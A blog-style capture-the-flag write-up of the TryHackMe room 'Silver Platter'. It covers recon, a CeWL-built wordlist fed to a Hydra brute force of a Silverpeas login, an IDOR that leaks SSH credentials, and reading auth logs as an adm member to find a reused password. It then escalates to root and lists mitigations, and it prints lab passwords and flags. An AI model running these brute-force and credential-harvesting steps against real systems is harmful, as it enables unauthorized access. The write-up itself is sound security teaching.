DEV Community

Farhan Hussain
Farhan Hussain

Posted on

The App Blocked Every rockyou.txt Password — So I Built My Own Wordlist From Its Homepage — Silver Platter (TryHackMe)

#security #ctf #tryhackme #writeup

Platform: TryHackMe · Difficulty: Medium · Category: Targeted Wordlist / IDOR / Log File Credential Leak

Introduction

Silver Platter opens by daring you to use rockyou.txt and then daring you to think of something better. The room explicitly tells you the password policy blocks any password in the rockyou wordlist — a hint to build a targeted wordlist from the site itself. The escalation path is equally deliberate: IDOR on internal message IDs, credentials in a log file, and a user who can sudo everything. The box hands the flag to you on a silver platter — but only after you've earned it through careful enumeration.

Recon

Service and version fingerprinting via Nmap:

rustscan -a 10.49.190.34 -r 1-65535 --ulimit 5000 -- -Pn -sC -sV
Enter fullscreen mode Exit fullscreen mode
Port Service Version
22/tcp SSH OpenSSH 8.9p1 Ubuntu 3ubuntu0.4
80/tcp HTTP nginx 1.18.0 (Ubuntu) — "Hack Smarter Security"
8080/tcp HTTP-proxy Unknown — returns 404 on root

Three ports. Port 80 runs a corporate-looking static site. Port 8080 is unidentified but responds to HTTP — worth enumerating separately.

feroxbuster -u http://10.49.190.34/ -w /usr/share/wordlists/dirb/common.txt
Enter fullscreen mode Exit fullscreen mode

Static site assets only — no actionable PHP or admin paths. The homepage's contact section is more useful than any directory scan:

If you'd like to get in touch with us, please reach out to our project
manager on Silverpeas. His username is "scr1ptkiddy".
Enter fullscreen mode Exit fullscreen mode

Username: scr1ptkiddy on a platform called Silverpeas.

feroxbuster -u http://10.49.190.34:8080/ -w /usr/share/wordlists/dirb/common.txt
Enter fullscreen mode Exit fullscreen mode 
302  http://10.49.190.34:8080/website    → /website/   (403 Forbidden)
302  http://10.49.190.34:8080/console    → /noredirect.html
Enter fullscreen mode Exit fullscreen mode

Neither accessible. Manual navigation to /silverpeas/ on port 8080 loads a Silverpeas login portal — found by trying the platform name directly.

Foothold

The room explicitly states passwords are checked against rockyou.txt — any password in that list is rejected by the application. This isn't a bug, it's a design choice, and it's a hint: use a wordlist that isn't rockyou.txt.

CeWL is a custom wordlist generator that spiders a target website and extracts words from the content — product names, employee names, company jargon, marketing language. These words are often used as passwords precisely because they're meaningful to the organisation and don't appear in generic wordlists.

cewl http://10.49.190.34/ > pass.txt
# 345 words extracted
Enter fullscreen mode Exit fullscreen mode

Capturing the login POST request structure via Burp Suite:

POST /silverpeas/AuthenticationServlet
Login=scr1ptkiddy&Password=abc&DomainId=0
Failure indicator: response redirects back to defaultLogin.jsp
Enter fullscreen mode Exit fullscreen mode 
hydra -l scr1ptkiddy -P pass.txt 10.49.190.34 -s 8080 \
  http-post-form \
  "/silverpeas/AuthenticationServlet:Login=^USER^&Password=^PASS^&DomainId=0:F=defaultLogin.jsp" -vV
Enter fullscreen mode Exit fullscreen mode 
[8080][http-post-form] host: 10.49.190.34   login: scr1ptkiddy   password: adipiscing
Enter fullscreen mode Exit fullscreen mode

Password: adipiscing — a Latin placeholder word from the site's lorem ipsum content. Exactly the kind of thing that appears in CeWL output and nowhere in rockyou.txt.

Logged into Silverpeas as scr1ptkiddy, a notification indicates an unread message. The message URL structure is:

/silverpeas/RSILVERMAIL/jsp/ReadMessage.jsp?ID=5
Enter fullscreen mode Exit fullscreen mode

The ID parameter directly references a message record with no check that the requesting user owns that message. Incrementing to ID=6 via Burp Suite's Repeater tab:

GET /silverpeas/RSILVERMAIL/jsp/ReadMessage.jsp?ID=6
Enter fullscreen mode Exit fullscreen mode 
Dude how do you always forget the SSH password? Use a password manager
and quit using your silly sticky notes.
Username: tim
Password: cm0nt!md0ntf0rg3tth!spa$$w0rdagainlol
Enter fullscreen mode Exit fullscreen mode

SSH credentials for tim, sitting in someone else's inbox.

Username Password Where Found
scr1ptkiddy adipiscing Hydra + CeWL wordlist
tim cm0nt!md0ntf0rg3tth!spa$$w0rdagainlol Silverpeas message IDOR (ID=6)

Shell / Access 

ssh tim@10.49.190.34
# Password: cm0nt!md0ntf0rg3tth!spa$$w0rdagainlol
Enter fullscreen mode Exit fullscreen mode 
tim@ip-10-49-190-34:~$ cat user.txt
THM{c4ca4238a0b923820dcc509a6f75849b}
Enter fullscreen mode Exit fullscreen mode

sudo -l confirmed tim has no sudo rights. Time to look elsewhere.

Escalation 

id
# uid=1001(tim) gid=1001(tim) groups=1001(tim),4(adm)
Enter fullscreen mode Exit fullscreen mode

In Ubuntu, members of adm can read most files in /var/log/ — system logs, authentication logs, and service logs that are normally restricted to root. This is intended for system administrators monitoring the box, but it also means any adm user can read auth logs that may contain sensitive information.

grep -iR tyler /var/log/
Enter fullscreen mode Exit fullscreen mode 
auth.log.2:Dec 13 15:40:33 silver-platter sudo: tyler : TTY=tty1 ;
PWD=/ ; USER=root ; COMMAND=/usr/bin/docker run --name postgresql -d
-e POSTGRES_PASSWORD=_Zd_zx7N823/ -v postgresql-data:/var/lib/postgresql/data postgres:12.3
Enter fullscreen mode Exit fullscreen mode

tyler ran a Docker command with a PostgreSQL password passed as an environment variable flag (-e POSTGRES_PASSWORD=_Zd_zx7N823/). Sudo logs the entire command line — password and all. The environment variable value _Zd_zx7N823/ is almost certainly reused as tyler's system password.

su tyler
# Password: _Zd_zx7N823/
Enter fullscreen mode Exit fullscreen mode 
tyler@ip-10-49-190-34:~$ sudo -l
# (ALL : ALL) ALL
Enter fullscreen mode Exit fullscreen mode

Full unrestricted sudo. One command to root:

sudo su
Enter fullscreen mode Exit fullscreen mode 
root@ip-10-49-190-34:~# cat root.txt
THM{098f6bcd4621d373cade4e832627b4f6}
Enter fullscreen mode Exit fullscreen mode

Exploitation — The Full Chain

  1. Homepage contact section → Silverpeas username scr1ptkiddy
  2. CeWL scraped homepage → 345-word custom wordlist
  3. Hydra brute forced Silverpeas on port 8080 → adipiscing
  4. IDOR on message ID=6 → SSH credentials tim:cm0nt!md0ntf0rg3tth!spa$$w0rdagainlol
  5. SSH as tim → user flag
  6. adm group → read /var/log/auth.log.2 → tyler's password in a Docker command
  7. su tyler → full sudo → sudo su → root flag

Rabbit Holes

Silverpeas paths on port 80. Before discovering port 8080, the Silverpeas login paths (/silverpeas/, /silverpeas/jsp/login.jsp, /silverpeas/Main) were tried on port 80. All returned 404 or empty responses. The platform was running on port 8080, not 80 — a lesson in checking all open HTTP ports before concluding a service isn't present.

rockyou.txt against Silverpeas. The room's stated password policy is a deterrent. Trying rockyou.txt anyway: the application genuinely rejects passwords found in the list — Hydra returns zero hits against the full 14 million entries. CeWL was the correct tool from the start.

Flags

Flag Value Location
User THM{c4ca4238a0b923820dcc509a6f75849b} /home/tim/user.txt
Root THM{098f6bcd4621d373cade4e832627b4f6} /root/root.txt

Mitigations

Vulnerability Severity Mitigation
Username published on public homepage Medium Never expose internal platform usernames in public-facing contact sections
Weak CeWL-crackable password High Site-derived words are as guessable as dictionary words; use randomly generated passwords that bear no relation to the organisation's content
IDOR on Silverpeas message IDs High Enforce server-side ownership checks on every message read request; never trust a client-supplied ID without verifying the requesting user owns that resource
SSH credentials sent via internal message with no encryption High Internal messaging systems should not be used for credential distribution; use a dedicated secrets manager or encrypted channel
Plaintext password in Docker -e flag (visible in auth log) Critical Use Docker secrets or environment files (--env-file) rather than passing credentials directly on the command line; command-line arguments appear in ps, sudo logs, and shell history
tyler has unrestricted sudo High Grant only the minimum necessary sudo permissions; unrestricted (ALL:ALL) ALL is equivalent to permanent root access

Key Takeaway

Passwords passed as command-line arguments are logged everywhere — sudo audit logs, shell history, ps output, and /proc. Never pass secrets via -e, -p, or similar flags in commands that get logged. Use environment files, secrets managers, or dedicated credential stores. One grep through auth logs shouldn't hand an attacker lateral movement.

Room: TryHackMe — Silver Platter

Top comments (0)